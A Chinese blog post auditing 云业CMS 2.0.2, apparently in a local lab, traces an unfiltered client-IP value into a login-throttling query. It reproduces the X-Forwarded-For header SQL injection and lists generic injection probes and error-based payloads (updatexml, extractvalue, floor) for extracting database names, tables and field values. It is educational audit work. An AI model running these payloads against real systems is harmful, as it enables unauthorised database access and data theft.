【代码审计】云业CMS 2.0.2 代码审计【第一篇】


当你的才华

还撑不起你的野心时

那你就应该静下心来学习


目录

云业CMS 2.0.2 代码审计【第一篇】

0x01 搭建环境

0x02 审计前言

0x03 复现


云业CMS 2.0.2 代码审计【第一篇】

0x01 搭建环境

Phpstudy+Nginx+Mysql数据库搭建

云业cms V2.0.2 源码

后台账号:admin1

后台密码:123456/

此时安装好了

0x02 审计前言

      我是一名新手,代码审计也审计的少,之前学习代码审计的时候,师傅们都说,代码审计大概可以划分为四种吧,我也不太清楚,说错的地方,请各位见谅,别揍我。

      此次,我使用的是追踪数据流的方式。

      大概分为四类:

                            第一类:追踪数据流

                            第二类:追踪危险函数

                            第三类:追踪功能点审计

                            第四类:大佬都喜欢全局阅读代码审计(可惜我不是,呜呜呜... ...)

      厦门慢雾科技的余弦大佬曾经说过:"Web安全重点就三个词---"输入","输出","数据流" "。

      首先,我将源码放到seay 源代码审计工具里进行查看

打开云业cms 后台,是如下图这样的:

      其实,我们拿到源码的第一件事,就是去简单查看一下网站目录结构,可以发现在实际环境中,我们遇到的文件名命名方式,看一眼大概基本能猜出来它是干嘛的

     比如,我们的后台登录页面是admin.php路径对吧?那我们去看看根目录下的index.php和admin.php 文件有啥内容

index.php 代码解释

                        2和3行都是关闭报错报告

                        4行判断是否存在confing.php和install.lock文件,然后调用header之前已存在输出./install

                        5和6行是读取对应的文件

                        7行报错的调试

下面是主页admin.php的就不在解释了

根目录下貌似没啥东西, 只是判断是否安装了程序如果没安装就去先安装

我们访问admin.php 后台,开启Fidder 抓包并刷新当前admin后台管理登录页面,抓取流量数据包,发现有login参数

根据流量包的数据,我们追踪一下看看,出现两个路径

/core/func/basic.fun.php

/core/func/core.fun.php

/core/func/core.fun.php 定位的内容,没啥

继续往下看

/core/func/basic.fun.php

打开这个文件时,眼睛一亮,发现这里写着admin.php 后台登录入口调用的主要文件,从头到尾打开文件,一个个查函数一个个去看,一个个去全局搜搜调用的函数模块有哪些,追踪它的数据源

经过一番查找,在获取客户端IP调用的getip函数这里寻到突破点

全局搜索看一哈有哪些文件调用了getip() 函数,全局正则匹配搜索哈

定位私有的adminlogin 函数的某,CheckLoginTimes 调用这个变量

当前文件查找一下CheckLoginTimes 函数

第一行看到是查询了数据库(此处没有进行任何的过滤机制... ...),下面那一行是一个登录验证的私有函数,正确的话进行一个跳转的登录框页面提示,然后再登录到后台或返回登录页面继续输入账号密码,并查询数据库里的ip,并判断输入错误5次后,三小时后再登录

这不就是明摆着的HTTP 头注入嘛(哭笑不得... ...)

0x03 复现

打开抓包工具,我这里用的BurpSuite ,当然你用Fidder等其它抓包工具也是可以的

抓包开始

此时我抓包访问后台页面,发现页面访问是500

什么情况?最后发现,是我开了代理(小飞机)导致的,关掉(小飞机)的代理即可

账号和密码随便输入,验证码正确输入,开启抓包并点击【登录】按钮

开始验证,先随机对带IP的地段探测一下

各自加上单引号试试,看看Raw发现返回数据包是否报错,发现无任何报错

 

你肯定会很奇怪,我为什么要这里?记录客户端真实IP的,不是X-Forwarded-For 定义的嘛?

嗯... ,对的,我就是随手测了一哈,并没啥卵用

X-Forwarded-For的定义:

      X-Forwarded-For:简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP,只有在通过了HTTP 代理或者负载均衡服务器时才会添加该项。它不是RFC中定义的标准请求头信息,在squid缓存代理服务器开发文档中可以找到该项的详细介绍。

      标准格式如下:

                        X-Forwarded-For: client1, proxy1, proxy2

      从标准格式可以看出,X-Forwarded-For头信息可以有多个,中间用逗号分隔,第一项为真实的客户端ip,剩下的就是曾经经过的代理或负载均衡的ip地址,经过几个就会出现几个。

      当用户请求经过CDN后到达Nginx负载均衡服务器时,其X-Forwarded-For头信息应该为 客户端IP,CDN的IP 但实际情况并非如此,一般情况下CDN服务商为了自身安全考虑会将这个信息做些改动,只保留客户端IP。我们可以通过php程序获得X-Forwarded-For信息或者通过Nginx的add header方法来设置返回头来查看。

      下面来分析请求头到达Nginx负载均衡服务器的情况;在默认情况下,Nginx并不会对 X-Forwarded-For头做任何的处理,除非用户使用proxy_set_header

      参数设置:

                  proxy_set_header        X-Forwarded-For $proxy_add_x_forwarded_for;

                  $proxy_add_x_forwarded_for变量包含客户端请求头中的"X-Forwarded-For",与 $remote_addr用逗号分开,如果没有"X-Forwarded-For" 请求头,则 $proxy_add_x_forwarded_for等于$remote_addr。

                  $remote_addr变量的值是客户端的IP

                  当Nginx设置X-Forwarded-For等于$proxy_add_x_forwarded_for后会有两种情况发生

      1、如果从CDN过来的请求没有设置X-Forwarded-For头(通常这种事情不会发生),而到了我们这里Nginx设置将其设置为$proxy_add_x_forwarded_for的话,X-Forwarded-For的信息应该为CDN的IP,因为相对于Nginx负载均衡来说客户端即为CDN,这样的话,后端的web程序时死活也获得不了真实用户的IP的。

      2、CDN设置了X-Forwarded-For,我们这里又设置了一次,且值为$proxy_add_x_forwarded_for的话,那么X-Forwarded-For的内容变成 ”客户端IP,Nginx负载均衡服务器IP“如果是这种情况的话,那后端的程序通过X-Forwarded-For获得客户端IP,则取逗号分隔的第一项即可。

      加上X-Forwarded-For 参数后,只加ip,不增加任何报错信息,再Go一下,无任何报错

什么是SQL注入 ?

      Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击 。

Web 程序三层架构

     三层架构(3-tier architecture) 通常意义上就是将整个业务应用划分为:

          • 界面层(User Interface layer)

          • 业务逻辑层(Business Logic Layer)

          • 数据访问层(Data access layer)

     区分层次的目的即为了“高内聚低耦合”的思想。在软件体系架构设计中,分层式结构是最常见,也是最重要的一种结构被应用于众多类型的软件开发。 由数据库驱动的Web应用程序依从三层架构的思想也分为了三层:

          • 表示层

          • 业务逻辑层(又称领域层)

          • 数据访问层(又称存储层)

     例如,用户访问yqxy20.blog.csdn.net主页进行了如下过程:

          • 在 Web 浏览器中输入 yqxy20.blog.csdn.net 连接到CSDN的服务器。

          • 业务逻辑层的 Web 服务器从本地存储中加载 index.php 脚本并解析。

          • 脚本连接位于数据访问层的 DBMS(数据库管理系统),并执行 Sql 语句。

          • 数据访问层的数据库管理系统返回 Sql 语句执行结果给 Web 服务器。

          • 业务逻辑层的 Web 服务器将 Web 页面封装成 HTML 格式发送给表示层的 Web 浏览器。

          • 表示层的 Web 浏览器解析 HTML 文件,将内容展示给用户。

      在三层架构中,所有通信都必须要经过中间层,简单地说,三层架构是一种线性关系。

判断sql注入点

1. 单引号判断

    http://yqxy20.blog.csdn.net/xxx.asp?id=1' 如果出现错误提示,则该网站可能就存在注入漏洞

2. and判断

    http://yqxy20.blog.csdn.net/xxx.asp?id=10'and 1=1这个条件永远都是真的,所以当然返回是正常页

    http://yqxy20.blog.csdn.net/xxx.asp?id=10'and 1=2如果报错那说明存在注入漏洞,还要看报的什么错,不可能报任何错都有注入漏洞的。

3. Or判断(or跟and判断方法不一样的,and是提交返回错误才有注入点,而OR是提交返回正确有注入点)

    http://yqxy20.blog.csdn.net/xxx.asp?id=1'or 1=1

    http://yqxy20.blog.csdn.net/xxx.asp?id=1'or 1=2

4. xor判断(xor后面的语句如果是正确的,则返回错误页面,如果是错误,则返回正确页面,说明存在注入点)

    http://yqxy20.blog.csdn.net/xxx.asp?id=1'xor 1=1

    http://yqxy20.blog.csdn.net/xxx.asp?id=1'xor 1=2

5. 加减号数字判断(返回的页面和前面的页面相同,加上-1,返回错误页面,则也表示存在注入漏洞)

    http://yqxy20.blog.csdn.net/xxx.asp?id=2-0

    http://yqxy20.blog.csdn.net/xxx.asp?id=2-1

    http://yqxy20.blog.csdn.net/xxx.asp?id=2+1

6. 输入框判断

    可以使用特殊符号去判断

    #@!$/ ...

加单引号看看,报错呢?

看到报错了,我们丢sqlmap,跑一哈试试

 

抓包,将包保存下来,有一点需要注意的是,我们在此处构造的X-Forwarded-For值为*,经过测试构造为127.0.0.1利用sqlmap跑的时候不会去识别此地方,这里利用*代替后成功执行

cmd 打开,开始跑

最后,乐色,mmp,没给我跑出来... ...可能是我sqlmap有问题,还是啥的,哈哈,超尴尬

没啥卵用,算了,一个个尝试好了,最后用报错注入实现

报错注入补充知识

      updatexml(1,concat(0x7e,database()),0)  

            这里我们对函数进行处理加入concat函数意思是将传进去的参数组合成一个字符串打印出来,concat也可以执行表达式也就是将 0x7e和version()结果组合成一个字符串打印出来。不用group_concat的原因是显示位用长限制,故用concat和limit逐个显示

            username='or updatexml(1,concat(0x7e,(select concat(table_name) from information_schema.tables where table_schema=database() LIMIT 4,1),0x7e),1) or'&password=12&sex=&phonenum=&email=&add=&submit=submit

      同样,这里也可以用extractvalue()函数

            extractvalue()函数,从目标xml中返回包含所查询值的字符串

                              第一个参数:XML_document是String格式,为XML文档对象的名称,文中为doc

                              第二个参数:XPath_string(Xpath格式的字符串)

                  Xpath定位必须是有效的,否则则会发生错误

            用法其实跟updatexml一样

      例如:用字符型注入测试一下

                        xxx' and extractvalue(1,concat(0x7e,database())) #

基于floor()

            floor是mysql的一个取整函数

      payload

            xxx' and (select 2 from (select count(*),concat(version(),floor(rand(0)*2)) x from information_schema.tables group by x) a)#

 

此处我用的是updatexml 报错函数

updatexml()

续后面所说的,加个单引号发现报错,一番尝试--+ 、#等闭合符合,成功闭合

单引号闭合试试,发现一堆瞎几把的乱码

# 闭合试试,OJBK ,返回的数据包里面成功展示出错误的信息

接下来就是爆:

                        • 爆数据库版本信息

                        • 爆当前用户名

                        • 爆当前数据库名

                        • 爆表名

                        • 爆列名

                        • ​​​​​​​爆字段名

                        • ​​​​​​​爆字段值

爆数据库版本信息

爆用户名

爆当前数据库名

爆数据库表名的时候,我发现无法爆破数据库的表名... ...

最后发现是我当前账号对数据库的information_schema 无读取权限,这种情况下只能去硬猜,不搞了不搞了,本章就到此结束,菜文一篇,请见谅。

后续的不写了,大致步骤如下

  1. 爆数据库用户

      and updatexml(1,concat(0x7e,(select user()),0x7e),1)#               # 爆数据库用户

  2. 爆数据库版本

      and updatexml(1,concat(0x7e,(select version()),0x7e),1)#           # 爆数据库版本

  3. 爆数据库名

      and updatexml(1,concat(0x7e,(select database()),0x7e),1)#        # 爆数据库名

  4. 数据库表名

      and updatexml(1,concat(0x7e,(select TABLE_NAME  from  information_schema.TABLES   where TABLE_SCHEMA=数据库16进制值 limit 0,1),0x7e),1)#

      #需有对information_schema库有读取权限

      and updatexml(1,concat(0x7e,(select 列名  from  表名 limit 0,1),0x7e),1)#

      #无information_schema库读取权限,需同时猜解列名和表名(较难)

  5. 爆字段名

      and updatexml(1,concat(0x7e,(select COLUMN_NAME from  information_schema.COLUMNS where TABLE_NAME=表名16进制值 limit 1,1),0x7e),1)-- #需有对information_schema库有读取权限

  6. 爆字段值

      and updatexml(1,concat(0x7e,(select 列名 from 表名  limit 0,1),0x7e),1)


虽然我们生活在阴沟里,但依然有人仰望星空!


​​​​​​​

 

 

发布了182 篇原创文章 · 获赞 99 · 访问量 12万+

猜你喜欢

转载自blog.csdn.net/God_XiangYu/article/details/105190869